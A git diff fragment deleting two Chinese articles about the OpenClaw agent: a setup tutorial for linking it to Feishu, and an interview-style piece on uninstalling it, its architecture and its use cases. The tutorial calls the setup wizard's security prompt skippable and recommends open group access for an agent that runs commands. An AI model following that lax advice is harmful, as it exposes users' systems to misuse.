-![](https://cdn.paicoding.com/paicoding/2e252486ce49598c0154d3b95af25426.png) - -然后就可以看到龙虾成功安装后的界面了。 - -![](https://cdn.paicoding.com/paicoding/210c27f919c1c99619371c57897784d6.png) - -这里有一个安全提示,可以直接跳过。选择 yes 后进入启动配置向导。 - -![](https://cdn.paicoding.com/paicoding/0a9a44f5c5a7467a9629e6a2a2d04a3f.png) - -当然也可以后期配置。 - -网关类型这里选择 local 本地就行。然后是 AI 模型认证,把你准备好的 API Key 填进去。 - -![](https://cdn.paicoding.com/paicoding/0a4fbe34d53703da9da3a7d8937deb16.png) - -我这里选择 Z.AI 就是智谱。这里选择国内的 plan 套餐。 - -![](https://cdn.paicoding.com/paicoding/704b5b1ce0bda8de8bf0b7a35c025417.png) - -填入 API Key 后,模型保持最新的 GLM-5 就可以了。 - -![](https://cdn.paicoding.com/paicoding/52e0bf66e66bb97668f46462d0b1db01.png) - -接下来进入 IM 的配置,这里选择飞书。 - -![](https://cdn.paicoding.com/paicoding/a0ddbcaff41b0d5c2e2242bf2724a783.png) - -此时会下载飞书插件。 - -![](https://cdn.paicoding.com/paicoding/23082e82977be33d87af02376921eae4.png) - -接下来会提示我们接入飞书的配置信息。 - -![](https://cdn.paicoding.com/paicoding/6b99126b6928629205dee1ff97973f81.jpg) - -好,进入飞书开发平台 `https://open.feishu.cn/document/home/index`,可以过一眼基本的流程文档。 - -![](https://cdn.paicoding.com/paicoding/8a166ab6b5a1eb58f84ec9e89cd3e4b1.jpg) - -不想看的话,可以直接跳过,进入飞书开放平台。 - -> https://open.feishu.cn/app?lang=zh-CN - -创建一个应用,名字就暂时教 PaiFlow 吧。 - -![](https://cdn.paicoding.com/paicoding/9114d70c7caba1e36b8fdcab43ce5185.png) - -然后我们需要给应用添加一些能力。 - -![](https://cdn.paicoding.com/paicoding/5386ed6c1573a18e65f2c44242e432b4.jpg) - -我们就先添加一个机器人的能力吧。 - -![](https://cdn.paicoding.com/paicoding/83f25993fd24e949ba16bfa84ddf9063.jpg) - -回到凭证管理这里,能看到 APP Id 和 APP secret。 - -![](https://cdn.paicoding.com/paicoding/4740b443fe6626e44fdfe43c874a0dd0.png) - -复制粘贴到 OpenClaw 的配置中。 - -![](https://cdn.paicoding.com/paicoding/f604818a8d1043076769449138f562e9.png) - -接下来会有一个群组访问策略的配置,其中 open 就是允许群组所有人访问,建议选择这个。 - -![](https://cdn.paicoding.com/paicoding/2b69345161026260e73454f80f071ae5.png) - -我第一次选择了 allowlist,然后不知道接下来配置啥了,就重新跑了一遍,好方便给大家截图说明用。 - -![](https://cdn.paicoding.com/paicoding/283f0a9ded26ad40fa94e932fe9b1cbb.png) - -接下来是 Skills 的安装,和 ClawHub 是打通的,后续也可以安装。 - -![](https://cdn.paicoding.com/paicoding/7e6b2e3960370dedb45c87146363b89c.jpg) - -我这里看着选了几个,安装速度还是挺慢的,如果没有特别适合自己的 Skills,其实可以跳过的。 - -![](https://cdn.paicoding.com/paicoding/c35df43b207e5e3ee95e279d9f848057.jpg) - -接下来选择 Skills 的安装方式。默认 npm 就行。 - -![](https://cdn.paicoding.com/paicoding/13fddb246c951d16e4d51bf14fda4c50.png) - -接下来是 API key 的绑定,我这里通通跳过。 - -![](https://cdn.paicoding.com/paicoding/ed8716e74d53caae516501e0318210af.png) - -接下来是 hooks 的安装,OpenClaw 目前附带了 3 个自动发现的捆绑 hooks,其中 session-memory 用于当你发出 `/new` 时将会话上下文保存到智能体工作区;command-logger 将所有命令事件记录到 commands.log 中;boot-md 当 Gateway 网关启动时运行 BOOT.md。 - -![](https://cdn.paicoding.com/paicoding/045310fb8d27c8c48bbcf5e0e6bf2eec.png) - -接下来是 Gateway 的安装,我之前安装过,为了演示,这里大家可以选择 reinstall。 - -![](https://cdn.paicoding.com/paicoding/c769bf0f7f31c22ad579cafc1097f572.png) - -接着是打开 Web 窗口。可以选择 TUI 模式。 - -![](https://cdn.paicoding.com/paicoding/8c2ad43dcb1e7c51d350e41f2fc847fc.png) - -到这一步,OpenClaw 就算是安装成功了。 - -![](https://cdn.paicoding.com/paicoding/8ca01f3da8d92c2cecf4a90475a4e1e6.png) - -### 手动安装 - -如果一键脚本有问题,也可以手动安装: - -```bash -npm install -g @openclaw/cli -``` - -### 启动配置向导 - -安装完成后,执行配置向导: - -```bash -openclaw onboard -``` - -这个命令会引导你完成核心配置。 - -## 04、启动 OpenClaw 服务 - -配置完成后,启动核心服务: - -```bash -openclaw gateway start -``` - -这个命令会启动 OpenClaw 的网关服务,默认监听 18789 端口。 - -检查服务状态: - -```bash -openclaw gateway status -``` - -如果显示 `running`,说明服务正常启动。 - -![](https://cdn.paicoding.com/paicoding/1fe78ab9dba96c20b5c39148e22a8e87.png) - -### 验证安装成功 - -浏览器访问 `http://127.0.0.1:18789/`,如果能打开 OpenClaw 的 Web 控制面板,说明本地部署成功了。 - -![](https://cdn.paicoding.com/paicoding/e129abec66d885559e59cb36ab0ced1c.jpg) - -在控制面板里发一条测试消息,比如“你好,介绍一下你自己”,如果能收到正常回复,就说明大模型也配置对了。 - -![](https://cdn.paicoding.com/paicoding/791f7df432c5fe77fda7da206c3ab940.jpg) - -## 05、创建飞书应用 - -当然了,如果你不想在启动的时候配置飞书,也可以在 OpenClaw 安装成功后接入飞书。 - -### 第一步:进入飞书开放平台 - -访问飞书开放平台,用飞书账号登录。点击创建企业自建应用,填写应用名称和描述。应用类型选企业自建应用就行。 - -### 第二步:获取凭证 - -应用创建成功后,在凭证与基础信息页面,你能看到: - -- **App ID:**应用的唯一标识 -- **App Secret:**应用的密钥 - -把这两个值复制保存好,后面配置要用(前面演示过了)。 - -### 第三步:添加机器人能力 - -在应用的应用功能页面,点击添加应用能力,选择机器人。开通后,这个应用就能以机器人的身份出现在飞书群里了。 - -### 第四步:配置权限 - -在权限管理页面,开通以下权限: - -- `im:message`:获取与发送单聊、群聊消息 -- `im:message:send_as_bot`:以应用身份发消息 -- `im:chat`:获取群组信息 -- `im:chat:readonly`:读取群组信息 - -这些权限是 OpenClaw 接收和发送消息的基础。或者直接选择批量导入按钮,把 OpenClaw 官方推荐的权限全部接入进去。 - -![](https://cdn.paicoding.com/paicoding/fd3afd492d02756e40a5cf7548e56bdd.jpg) - -### 第五步:配置事件订阅 - -在事件订阅页面,开启事件订阅。 - -![](https://cdn.paicoding.com/paicoding/26fdc24e8c98961ca471bfd17456e3d6.png) - -直接选择长链接,当你的 OpenClaw 启动后,这里就可以保存成功。 - -添加事件 `im.message.receive_v1`:接收消息 - -这样当有人在飞书群里@机器人时,飞书会把消息推送到 OpenClaw。 - -![](https://cdn.paicoding.com/paicoding/6cc7730475e9ea27b7d259e66f81c412.png) - -### 第六步:发布应用 - -配置完成后,在版本管理与发布页面,创建一个版本并提交审核。 - -![](https://cdn.paicoding.com/paicoding/6a4cd245f9f3d1018ec1735f994ecd49.png) - -审核通过后(免审,比腾讯的 QQ 和企业微信方便),应用就可以在企业内使用了。 - -![](https://cdn.paicoding.com/paicoding/3632065c4042f24ef878f06785cbb25d.png) - -## 06、在 OpenClaw 中配置飞书通道 - -在飞书里打开应用,然后@它发一条消息: - -> 你好。 - -![](https://cdn.paicoding.com/paicoding/861523231db63c8ee88fc1e842eb50ae.png) - -首次会提示你要配对,直接把这条消息发送到 OpenClaw 聊天窗口。 - -![](https://cdn.paicoding.com/paicoding/9d4f19897e0e84824c5dd866c9a5f035.png) - -配对完成后,再回到飞书这里,随便发送一条信息,就完成通信了。 - -![](https://cdn.paicoding.com/paicoding/f807354d0468ea6a24c512384715908e.jpg) - -## 07、常见问题排查 - -接入过程中可能会遇到一些问题,这里把最常见的情况列出来。 - -### 问题一:飞书响应很慢 - -可以把问题直接发给 OpenClaw,其中模型的问题我们没办法解决,但飞书权限的问题可以。 - -![](https://cdn.paicoding.com/paicoding/958b748db07445be00857ff505c68053.png) - -直接在飞书这里添加通讯录基本信息的只读权限。 - -![](https://cdn.paicoding.com/paicoding/0165a7a4ad1f8273a0c07e7a44e82942.png) - -随后我感觉确实快了一些。 - -![](https://cdn.paicoding.com/paicoding/4b360a6edd44c6ff79e4593a8865a004.png) - -### 问题二:OpenClaw 服务启动失败 - -可能原因: - -- Node.js 版本低于 22 -- 端口被其他进程占用 -- API Key 配置错误 - -解决方案: - -```bash -node -v - -# 检查端口占用 -lsof -i:18789 - -# 查看服务日志 -openclaw logs -``` - -![](https://cdn.paicoding.com/paicoding/ab0d8df7029fe0c06da466bf02263ed1.png) - -### 问题三:模型调用失败 - -可能原因: - -- API Key 无效或额度用尽 -- 网络无法访问大模型服务 - -解决方案: - -- 重新检查 API Key 是否正确 -- 登录大模型平台确认额度是否充足 -- 尝试用 curl 命令直接测试 API 是否可达 - -## 08、飞书应用场景推荐 - -OpenClaw 接入飞书后,能干的事情就多了。 - -给大家分享几个我觉得比较实用的场景。 - -### 场景一:群消息同步 - -比如说 PaiFlow 发布了,我们可以在飞书群里新增一个机器人。 - -![](https://cdn.paicoding.com/paicoding/51bef754e452c8d2aa3a2b2f98a67538.png) - -复制 webhook 地址,发给 OpenClaw。 - -![](https://cdn.paicoding.com/paicoding/67069591123a2d05285a2e15cedf1b8c.png) - -配置成功。 - -![](https://cdn.paicoding.com/paicoding/348ef19505d3923488bac021cfbfb3ef.png) - -然后告诉大家 PaiFlow Agent 项目发布了。 - -![](https://cdn.paicoding.com/paicoding/25402980a0f3f35e83261f332d4de178.png) - -可以工作。 - -![](https://cdn.paicoding.com/paicoding/e678686e63f7f458e04bbe88b7500b2a.png) - -方便得很。 - -### 场景二:面试题每日一推 - -每天定时从题库中抽取一道面试题推送到群,附答案解析。 - -![](https://cdn.paicoding.com/paicoding/df15b154d00cecb859628a5d3ab67cb2.png) - -我没有告诉 OpenClaw 从哪里获取面渣逆袭,也没告诉它什么形式,但出来的效果我很喜欢。 - -![](https://cdn.paicoding.com/paicoding/69adbabcba28c153a900a6f093b6e044.jpg) - -并且文末的来源点击过去,真的就是二哥的 Java 进阶之路,非常 nice。 - -![](https://cdn.paicoding.com/paicoding/6b784a6e4fd5c206de9c8d4943e84d0f.jpg) - -对于准备面试的小伙伴,这个功能相当于每天帮你复习一个知识点。 - -## 09、ending - -以前我们用 ChatGPT,问它一个问题,它给你一段文字。 - -现在用 OpenClaw,你让它干一件事,它真的会去干。 - -读写文件、执行命令、操控浏览器,这些原本需要人手动操作的事情,AI 都能代劳了。 - -接入飞书之后,它更是变成了一个随时待命的数字员工。 - -你在群里@它一下,它就屁颠屁颠地跑来帮你干活。 - -这种体验,和打开一个网页版聊天框完全不一样。 - -【**当 AI 从回答问题变成解决问题,我们离真正的效率革命就更近了一步**。】 - -如果你也想体验这种指挥 AI 干活的感觉,跟着这篇教程走一遍就行。 - -很多小伙伴在等,等AI更成熟,等有人教,等公司培训。但我想告诉大家的是,努力先走出去第一步,你的认知、你的生产力也许就会发生翻天覆地的变化。 - diff --git a/.codex/skills/ai-article/references/OpenClaw-unstall.md b/.codex/skills/ai-article/references/OpenClaw-unstall.md deleted file mode 100644 index a374ed8cdb..0000000000 --- a/.codex/skills/ai-article/references/OpenClaw-unstall.md +++ /dev/null @@ -1,733 +0,0 @@ -老王开门见山地问:“卸载过 OpenClaw 吗?” - -我和老王四目相对那一刻,我懂他想要的答案:“必须啊,老 6 了。” - -像 QClaw、PicoClaw、ArkClaw、澳龙各种虾的安装部署,我都驾轻就熟。 - -![](https://cdn.paicoding.com/stutymore/sucai-b71acb8b60e5137ae6ebf3f7aac1cfdc.jpg) - -当然了,如果想省掉 299 的卸载费,我还可以一条龙服务到底,不在话下。 - -卸载命令我都能倒背如流。 - -但说真的,王哥,OpenClaw 的出现确实解放了我的生产力。 - -你别听风就是雨啊。工具本身没有好坏,看的是应用场景。 - -像我,现在审核 gitcode 账号再也不用亲自去找了,直接把昵称丢到飞书,爱丢几个丢几个,我的龙虾一号 PaiGit 员工很快就能帮我搞定。 - -![](https://cdn.paicoding.com/stutymore/sucai-20260312102911.png) - -“逗逗你的呀,别那么上头。”老王摸了摸他的光头,捋了捋他的胡子,“那我问你:卸载 OpenClaw 的完整流程是什么?别给我整一条命令就完事。” - -## content - -### 01、卸载龙虾的命令是什么? - -“王哥,你这个问题问得好。很多人以为卸载就是跑一条 `npm uninstall -g openclaw`,错。” - -这样卸载不干净,残留文件会藏在系统的各个角落,下次重装的时候各种报错——端口被占用、配置冲突、插件加载失败,一堆莫名其妙的问题。 - -正确的卸载姿势分三步。 - -#### 第一步:停止 Gateway 服务 - -```bash -openclaw gateway stop -``` - -如果 Gateway 正在跑任务,强制停止可能会丢数据。建议先检查状态: - -```bash -openclaw gateway status -``` - -确认显示 `stopped` 再继续。 - - -![](https://cdn.paicoding.com/paicoding/feba6610f1d56038d87c8524c49cebc7.jpg) - - -#### 第二步:执行官方卸载命令 - -```bash -openclaw uninstall -``` - -这个命令会弹出一个交互界面,让你选择要删除哪些内容。用空格键全选,然后回车确认。它会帮你: - -- 停止并卸载 Gateway 服务 -- 删除 `~/.openclaw/` 状态目录 -- 清理工作区配置 -- 移除插件和缓存 - - -![](https://cdn.paicoding.com/paicoding/0303e1405a781412f0ff76650bc43f6e.png) - - -#### 第三步:移除全局 CLI 包 - -```bash -npm rm -g openclaw -``` - -如果你用的是 pnpm 或 bun,对应换成: - -```bash -pnpm rm -g openclaw -# 或 -bun rm -g openclaw -``` - -遇到权限错误就加 `sudo`。 - -老王点点头:“那卸载后怎么验证干净?” - -我说:“执行以下命令,确认没有残留:” - -```bash -# 检查全局包 -npm list -g openclaw - -# 检查目录 -ls ~/.openclaw/ - -# 检查端口占用 -lsof -i:18789 -``` - -全部返回空或“not found”,才算卸载干净。 - -老王听完点点头:“行,卸载这块确实熟。那我追问一下,`~/.openclaw/` 目录里都有什么?为什么删这个目录这么重要?” - -### 02、龙虾的核心目录架构了解吗? - -“王哥,你这是要考我架构啊。” - -`~/.openclaw/` 是 OpenClaw 的“神经中枢”,里面存放着所有配置和状态。 - -```bash -~/.openclaw/ -├── openclaw.json # 全局配置文件 -├── gateway/ # Gateway 相关 -│ ├── config.json # Gateway 配置 -│ ├── logs/ # 日志目录 -│ └── pid # 进程 ID 文件 -├── plugins/ # 插件目录 -│ ├── @openclaw/ # 官方插件 -│ └── @wecom/ # 第三方插件 -├── workspaces/ # Agent 工作区 -│ ├── default/ # 默认 Agent -│ └── paigit/ # 自定义 Agent -├── skills/ # 技能包 -├── cache/ # 缓存目录 -└── .env # 环境变量 -``` - -![](https://cdn.paicoding.com/paicoding/6f12bbe4511f9ff26672931132a0f3ef.png) - -老王继续追问:“这里面的每个目录都有什么用?你挑重点讲。” - -#### openclaw.json:全局配置文件 - -这是 OpenClaw 的“大脑配置中心”。 - -```json -{ - "version": "2026.3.2", - "gateway": { - "port": 18789, - "auth": "token", - "host": "0.0.0.0" - }, - "channels": { - "feishu": { - "appId": "cli_xxx", - "appSecret": "xxx" - }, - "wecom": { - "botId": "xxx", - "secret": "xxx" - } - }, - "model": { - "provider": "glm", - "profile": "coding-plan", - "defaultModel": "glm-5" - }, - "plugins": [ - "@openclaw/feishu-plugin", - "@wecom/wecom-openclaw-plugin" - ] -} -``` - -里面记录了: - -- **Gateway 配置**:监听端口、认证方式、绑定地址 -- **IM 通道配置**:飞书、企微等应用的凭证 -- **大模型配置**:提供商、套餐、默认模型 -- **插件列表**:已安装的插件及其加载顺序 - -王哥追问:“Gateway 配置里的 `auth: "token"` 是什么意思?Gateway 到底是干什么的?” - - - -![](https://cdn.paicoding.com/paicoding/9df792d26db950bf764a87fa1e6807ec.png) - - - -#### Gateway:消息路由中枢 - -“王哥,Gateway 是 OpenClaw 架构里最关键的设计。” - -很多人用 OpenClaw,只知道装完跑 `openclaw gateway start`,但不知道 Gateway 到底在干啥。 - -简单说,Gateway 是一个**常驻后台的消息路由服务**。 - -它的职责有三层: - - -![](https://cdn.paicoding.com/paicoding/fb951ffd139e684e77d8c8e1211983c3.png) - - -**第一层:接收消息** - -你在飞书群里@机器人,飞书会把消息推送到 Gateway。Gateway 收到后,解析消息内容,识别是哪个 Agent、哪个会话。 - -**第二层:分发任务** - -Gateway 把消息路由给对应的 Agent 处理。如果你配置了多个 Agent(比如一个负责代码审核,一个负责会员审批),Gateway 会根据消息来源判断该交给谁。 - -**第三层:返回结果** - -Agent 处理完任务后,把结果交给 Gateway,Gateway 再通过 IM 通道发回飞书。 - -``` -飞书消息 → Gateway → Agent → 大模型 → Agent → Gateway → 飞书回复 -``` - -老王听完眼睛一亮:“小伙子有水平啊。为什么要这样分层?Gateway 和 Agent 为什么不耦合在一起?” - -我说:“解耦。Gateway 负责 IM 通信,Agent 负责任务执行。这样你可以一个 Gateway 挂多个 Agent,每个 Agent 用不同的模型、跑不同的任务,互不干扰。” - -老王点点头:“那如果 Gateway 挂了怎么办?有没有高可用方案?” - -我说:“王哥,你这问题越来越深了。目前 OpenClaw 官方没有提供高可用方案,Gateway 是单点的。如果要上生产,我的建议是:” - -- Gateway 集群部署,用负载均衡器分发请求 -- 会话状态下沉到 Redis,Gateway 无状态 -- 多实例之间用分布式锁协调任务执行 - -老王若有所思:“那插件呢?OpenClaw 的插件机制是怎么跑的?” - -#### 插件体系:微内核架构 - -我说:“OpenClaw 采用的是微内核架构。” - -核心只提供最基础的能力——消息收发、任务调度、工具调用。其他功能全部通过插件扩展。 - -- 飞书支持?插件。 -- 企微支持?插件。 -- 文档处理?插件。 - -插件安装在 `~/.openclaw/plugins/` 目录下,每个插件是一个独立的 npm 包。 - -```bash -# 安装飞书插件 -openclaw plugins install @openclaw/feishu-plugin - -# 安装企微插件 -openclaw plugins install @wecom/wecom-openclaw-plugin - -# 查看已安装插件 -openclaw plugins list -``` - - -![](https://cdn.paicoding.com/paicoding/9beb0e555a8c59e9dd938556c6789f56.jpg) - - -老王追问:“插件加载的时机是什么?Gateway 启动的时候?如果两个插件对同一条消息都想处理,怎么解决冲突?” - -我说:“对,Gateway 启动时会扫描 plugins 目录,按 openclaw.json 里的顺序加载所有插件。每个插件会注册自己的消息处理器和工具函数。” - -“冲突解决靠优先级机制——openclaw.json 里可以设置插件优先级,优先级高的先处理。另外每个插件有自己的命名空间,互不干扰。” - -老王满意地点点头:“架构这块讲清楚了。那我再问你——Gateway 的生命周期管理是怎样的?启动、停止、重启流程是什么?中间有什么坑?” - -#### Gateway 的生命周期管理 - -我说:“王哥,这个问题很实用,很多人踩过坑。” - -**启动 Gateway** - -```bash -openclaw gateway start -``` - -启动时会做几件事: - -1. 加载 `openclaw.json` 配置 -2. 扫描并加载插件 -3. 初始化 IM 通道(连接飞书、企微等) -4. 启动 HTTP 服务监听端口 -5. 写入 pid 文件 - -**检查 Gateway 状态** - -```bash -openclaw gateway status -``` - -会显示: - -- 运行状态(running / stopped) -- 进程 ID -- 监听端口 -- 已加载的插件数量 - -**停止 Gateway** - -```bash -openclaw gateway stop -``` - -如果 Gateway 卡住,可以强制停止: - -```bash -openclaw gateway stop --force -``` - -或者直接杀进程: - -```bash -kill $(cat ~/.openclaw/gateway/pid) -``` - -**重启 Gateway** - -修改配置后需要重启: - -```bash -openclaw gateway restart -``` - -老王追问:“启动的时候常见的报错有哪些?怎么排查?” - -我说:“最常见的有三个问题。” - -**问题一:端口被占用** - -```bash -Error: Port 18789 is already in use -``` - -解决方法: - -```bash -# 查看谁占用了端口 -lsof -i:18789 - -# 杀掉占用进程 -kill -9 -``` - -**问题二:插件加载失败** - -```bash -Error: Failed to load plugin @openclaw/feishu-plugin -``` - -解决方法: - -```bash -# 重新安装插件 -openclaw plugins uninstall @openclaw/feishu-plugin -openclaw plugins install @openclaw/feishu-plugin -``` - -**问题三:配置文件损坏** - -```bash -Error: Invalid JSON in openclaw.json -``` - -解决方法:检查 JSON 格式,或者直接删掉重新配置。 - -老王点点头:“那消息流转呢?当你在飞书群里@机器人时,消息是怎么流转到 Agent 并返回结果的?整个链路涉及哪些组件?” - -### 03、消息流转的完整链路 - -我说:“王哥,是这样的。” - -![](https://cdn.paicoding.com/paicoding/84bf6b684cf0aef5a6df17e0086adc07.png) - - -**第一步:事件订阅** - -飞书把消息推给 Gateway。这需要在飞书开放平台配置事件订阅,开启 `im.message.receive_v1` 事件。 - -**第二步:消息解析** - -Gateway 收到消息后,解析消息内容,识别来源(哪个群、哪个用户)和意图(要干什么)。 - -**第三步:路由分发** - -根据 bindings 配置,把消息发给对应的 Agent。如果你配置了多个 Agent,Gateway 会根据消息来源判断该交给谁。 - -**第四步:执行任务** - -Agent 调用大模型处理任务。如果是复杂任务,Agent 会拆解成多个步骤,一步步执行。 - -**第五步:结果返回** - -Gateway 把结果通过 IM 通道返回给飞书。 - -老王追问:“那状态是怎么维护的?多轮对话的上下文存在哪里?” - -我说:“会话上下文存在 `~/.openclaw/workspaces//memory/` 目录下。每次对话会序列化保存,Gateway 重启后可以恢复。多轮对话用 session_id 标识,防止串台。” - -老王接着问:“如果同时有 100 个用户@机器人,Gateway 怎么处理并发?” - -我说:“Gateway 用异步非阻塞 IO 处理请求。每个消息生成唯一 request_id,防止混淆。Agent 执行队列化,避免资源竞争。” - -老王点点头:“那 Agent 响应很慢怎么办?有没有优化方案?” - -我说:“有几种优化思路:” - -- 换更快的模型(比如 GPT-5.4) -- 简化 BOOT.md 里的指令 -- 用流式输出,边生成边返回 -- 复杂任务后台异步执行,先返回 ACK - -老王听完感慨:“你这理解得够深的。那我再问你一个实际应用的问题,你用 OpenClaw 干过什么真实的业务场景?别给我整那些 demo。” - -### 04、真实业务场景:gitcode 账号批量审核 - -我说:“王哥,这个问题问到我心坎里了。” - -讲一个真实的场景——技术派(paicoding.com)的 gitcode 账号审核。 - -技术派加入的会员需要开通 gitcode 代码仓库的访问权限。以前这个流程是这样的: - -1. 会员申请加入 -2. 我收到通知 -3. 手动打开 gitcode 后台 -4. 搜索用户昵称 -5. 添加到对应的项目组 -6. 发消息通知会员审核通过 - -一个账号还好,如果一次来 20 个呢?光这个流程就要折腾半小时。 - -现在呢?我把这个任务交给了 OpenClaw。 - -**第一步:创建一个专属 Agent** - -```bash -openclaw agents add PaiGit --workspace ~/openclaw-workspaces/paigit -``` - -**第二步:配置 BOOT.md 告诉 Agent 它的职责** - -```markdown -# PaiGit 职责 - -你是技术派的 gitcode 账号审核助手。 - -当收到飞书消息包含用户昵称时: - -1. 登录 gitcode 后台 -2. 搜索用户 -3. 添加到技术派-会员组 -4. 回复审核结果 -``` - -**第三步:绑定飞书通道** - -在飞书群里,我直接发消息: - -> 帮我审核以下用户:张三、李四、王五 - -OpenClaw 收到消息后,自动执行整个审核流程。20 个账号,1 分钟搞定。 - - -![](https://cdn.paicoding.com/paicoding/546761700b65d9c224a0fac06c849ed1.png) - - -老王听完眼睛都直了:“这效率提升有点狠啊。” - -我说:“还不止。我还给它设了定时任务,每天早上 9 点自动检查有没有新的待审核申请,有的话直接处理,处理完推送到飞书群。” - -老王来了兴趣:“还有没有别的场景?” - -### 05、场景二:飞书群消息同步 - -我又给他讲了一个——飞书群消息同步。 - -技术派有好几个飞书群:开发群、运营群、会员群。有时候一个群里发的消息需要同步到其他群,比如新功能上线通知。 - -以前的做法是:手动复制粘贴,或者用飞书的转发功能。但转发格式不好看,而且容易漏。 - -现在我用 OpenClaw 搞定了这个流程。 - -#### 配置 Webhook - -每个飞书群都有一个 Webhook 地址,可以在群设置里找到。 - -把这些 Webhook 地址告诉 OpenClaw: - -> 记住以下群的 Webhook 地址: -> -> - 开发群:https://open.feishu.cn/open-apis/bot/v2/hook/xxx -> - 运营群:https://open.feishu.cn/open-apis/bot/v2/hook/yyy -> - 会员群:https://open.feishu.cn/open-apis/bot/v2/hook/zzz - -#### 发送同步指令 - -> 在开发群、运营群、会员群同时发送:派聪明 v2.0 今天上线了,新增了 AI 面试助手功能,大家快去体验! - - -![](https://cdn.paicoding.com/paicoding/5895cb073400a3539381ac2c34a6773d.jpg) - - -OpenClaw 会自动调用 Webhook,把消息发到三个群。 - -老王点点头:“这个场景实用,省得一个个群转发。” - -## 06、场景三:定时任务推送 - -“定时任务呢?你刚才说的每天早上 9 点给你推送最新的 hacknews 消息,是怎么实现的?” - -OpenClaw 支持用自然语言创建定时任务。 - -直接告诉它: - -> 每天早上 9 点,检查有 hacknews 有没有好玩的AI讯息,整理一下发送给我。 - - -![](https://cdn.paicoding.com/paicoding/690d19632d84103a128a392c5f7b9637.png) - - -OpenClaw 会创建一个定时任务,到点自动执行。 - -定时任务的底层实现是 cron。OpenClaw 会把自然语言转成 cron 表达式,然后在后台调度执行。 - -老王追问:“定时任务如果执行失败了怎么办?有没有重试机制?” - -我说:“目前 OpenClaw 没有内置重试机制,但可以通过 BOOT.md 里加错误处理逻辑来实现。比如告诉 Agent:'如果任务执行失败,等待 5 分钟后重试,最多重试 3 次'。” - -“另外,定时任务执行结果会记录到日志里,可以在 `~/.openclaw/gateway/logs/` 目录下查看。” - -老王听完感慨:“这三个场景都挺实用的,不是那种为了用工具而用工具。” - -### 07、大模型集成的工程化问题 - -老王话锋一转:“那我再问你一个方向——OpenClaw 需要调用大模型 API,在实际使用中,你遇到过哪些问题?比如 token 限制、响应延迟、费用控制。你是怎么解决的?” - -我说:“王哥,这个问题太实际了,我踩过不少坑。” - -#### token 优化 - -OpenClaw 烧 token 是真的快。一个稍微复杂的任务,Agent 在后台可能调用十几轮甚至几十轮大模型。 - -我的优化方法: - -- **prompt 压缩**:去除冗余信息,只传必要上下文 -- **上下文裁剪**:只保留最近 N 轮对话 -- **结果缓存**:相同问题直接返回缓存结果 - -#### 响应加速 - -大模型响应慢是通病。我的方案: - -- **流式输出**:边生成边返回,减少用户等待 -- **异步处理**:复杂任务后台执行,先返回 ACK -- **模型选择**:简单任务用 Lite 模型,复杂任务用 Pro 模型 - -#### 费用控制 - -这个最头疼。我的做法: - -- **配额管理**:每天/每月设置 token 上限 -- **成本追踪**:记录每个任务的 token 消耗 -- **自动降级**:额度用完时切换到便宜模型 - -老王追问:“如果大模型 API 挂了怎么办?有没有降级方案?” - -我说:“有。大模型挂了,切换到本地模型(比如 Qwen)。网络不通,用缓存兜底。超时处理,返回友好提示而非报错。” - -### 08、生产环境部署的考量 - -老王最后问了一个很实际的问题:“如果让你把 OpenClaw 部署到生产环境,你会考虑哪些问题?” - -我说:“王哥,这个问题我能讲半小时。我挑重点说。” - -**高可用** - -- Gateway 集群部署,用负载均衡器分发请求 -- 会话状态下沉到 Redis,Gateway 无状态 -- 多实例之间用分布式锁协调任务执行 - -**监控** - -- Gateway 层:监听端口、连接数、QPS -- Agent 层:任务执行成功率、平均响应时间 -- 模型层:token 消耗、费用统计、模型调用成功率 - -**日志** - -- 按模块分割日志(gateway.log、agent.log、plugin.log) -- 关键操作记录审计日志 -- 日志轮转和归档(保留 30 天) - -**安全** - -- API Key 加密存储,支持动态轮换 -- 插件白名单机制,只允许官方插件 -- 网络隔离,Gateway 只对外暴露必要端口 - -老王点点头:“最后一个问题——你在用 OpenClaw 的过程中踩过什么坑?怎么排查的?” - -### 09、常见问题排查实战 - -我说:“我挑几个最典型的说。” - -#### 问题一:Gateway 启动后收不到消息 - -老王问:“这个怎么排查?” - -我说:“分三步走。” - -**第一步:检查日志** - -```bash -cat ~/.openclaw/gateway/logs/error.log -``` - -看有没有报错信息。常见错误有:飞书 App ID 填错、权限没开通、事件订阅没配置。 - -**第二步:检查通道状态** - -```bash -openclaw channels status -``` - -看飞书/企微通道是不是正常连接。 - -**第三步:检查飞书配置** - -去飞书开放平台,确认: - -- 事件订阅已开启 -- `im.message.receive_v1` 事件已添加 -- 长链接模式已启用 - - -![](https://cdn.paicoding.com/paicoding/9087d3c5b7edeb229f72ef37bf0f1835.png) - - -#### 问题二:模型调用失败 - -老王问:“这个呢?” - -我说:“模型调用失败一般是三个原因:” - -**原因一:API Key 无效或过期** - -去大模型平台检查 API Key 状态,必要时重新生成。 - -**原因二:额度用尽** - -如果是 Coding Plan 套餐,检查本月额度是否用完。用完了要么等下个月,要么升级套餐。 - -**原因三:网络问题** - -```bash -# 测试网络连通性 -curl -I https://open.bigmodel.cn -``` - -如果连不上,检查代理配置或防火墙设置。 - -#### 问题三:Agent 响应很慢 - -老王问:“响应慢怎么优化?” - -我说:“分情况处理。” - -**如果是模型推理慢**: - -- 换更快的模型(Doubao-Seed-2.0-Lite 比 Pro 快 30%) -- 简化 prompt,减少 token 数量 -- 开启流式输出,边生成边返回 - -**如果是任务执行慢**: - -- 拆分大任务,分批执行 -- 用缓存减少重复计算 -- 后台异步执行,先返回 ACK - -**如果是网络延迟**: - -- 用离你最近的模型服务节点 -- 检查网络链路,优化代理配置 - -#### 问题四:多 Agent 消息串台 - -老王问:“这个我遇到过,怎么解决?” - -我说:“多 Agent 串台是因为 bindings 配置不清晰。” - -在 `openclaw.json` 里用 `bindings` 字段明确指定每个 Agent 对应的通道: - -```json -{ - "bindings": [ - { - "agentId": "PaiGit", - "match": { - "channel": "feishu", - "appId": "cli_xxx" - } - }, - { - "agentId": "PaiReview", - "match": { - "channel": "feishu", - "appId": "cli_yyy" - } - } - ] -} -``` - -这样 Gateway 收到消息时,会根据 App ID 精准路由到对应 Agent,不会串台。 - -老王听完感慨:“你这排查思路挺清晰的,不是那种遇到问题就懵的人。” - -我说:“王哥,这都是踩坑踩出来的经验。OpenClaw 文档虽然全,但很多问题得自己摸索。” - -老王沉默了两秒,然后说:“你什么时候能来上班?” - -## ending - -不瞒大家说,有小伙伴最近去面试,的确有遇到面试官问 OpenClaw 的,可惜他之前没有准备,后悔不已。 - -![](https://cdn.paicoding.com/stutymore/sucai-d5ac99a33e185fdc11eaaa191d5230a8.jpg) - -这波浪就在眼前。 - -你冲,它在眼前。你不冲,它仍在眼前。 - -重要的是应用场景,为你所用。 - 